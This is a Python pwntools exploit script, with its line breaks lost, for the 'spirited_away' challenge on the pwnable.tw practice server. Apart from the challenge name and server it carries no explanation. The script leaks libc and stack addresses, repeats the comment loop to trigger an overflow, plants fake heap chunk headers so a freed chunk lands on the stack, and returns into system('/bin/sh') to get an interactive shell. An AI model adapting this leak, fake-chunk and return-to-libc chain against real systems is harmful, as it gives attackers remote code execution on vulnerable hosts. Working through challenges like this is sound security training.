1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
exe = ELF("./spirited_away_patched") libc = ELF("./libc_32.so.6") ld = ELF("./ld-2.23.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10204)
return r
def Input (p, name, age, reason, comment): p.sendafter (b'name: ', name) p.sendlineafter (b'age: ', age) p.sendafter (b'movie? ', reason) p.sendafter (b'comment: ', comment)
def Input_after_10 (p, age, reason): p.sendlineafter (b'age: ', age) p.sendafter (b'movie? ', reason)
def main(): p = conn() Input (p, b'ndd', b'12', b'A' * 9, b'bullshit') p.recvuntil (b'A' * 8) leak = u32 (p.recv(4)) libc.address = leak - 0x1e2041 print ("The leak is: ", hex (leak)) print ("the address of libc is: ", hex (libc.address))
p.sendlineafter (b'<y/n>: ', b'y')
Input (p, b'ndd', b'12', b'A' * 56, b'yyyyyy') p.recvuntil (b'A' * 56) leak = u32 (p.recv (4)) ebp = leak - 0x20 print ("The leak is : ", hex (leak)) print ("The ebp is : ", hex (ebp))
cnt = 3 for i in range (98): p.sendlineafter (b'<y/n>: ', b'y') if cnt < 11: Input (p, b'ndd', b'12', b'onepieceisreal', b'bullshit') else: Input_after_10 (p, b'12', b'abcd') p.recvuntil (b'We will review them as soon as we can\n') print ("-----------------------------------------", cnt, "times -------------------------------------------------------------------------------") cnt += 1
p.sendlineafter (b'<y/n>: ', b'y') Input (p, b'ndd', b'12', p32 (0) + p32 (0x41) + b'\x00' * 56 + p32 (0) + p32 (0x21), b'A' * 0x50 + p32 (12) + p32 (ebp - 0x50 + 0x8))
p.sendlineafter (b'<y/n>: ', b'y') payload = b'A' * (0x50 - 0x8 + 0x4) + p32 (libc.symbols['system']) + p32(0) + p32 (next (libc.search (b'/bin/sh'))) Input (p, payload, b'12', b'A', b'A')
p.sendlineafter (b'<y/n>: ', b'n') p.interactive()
if __name__ == "__main__": main()
|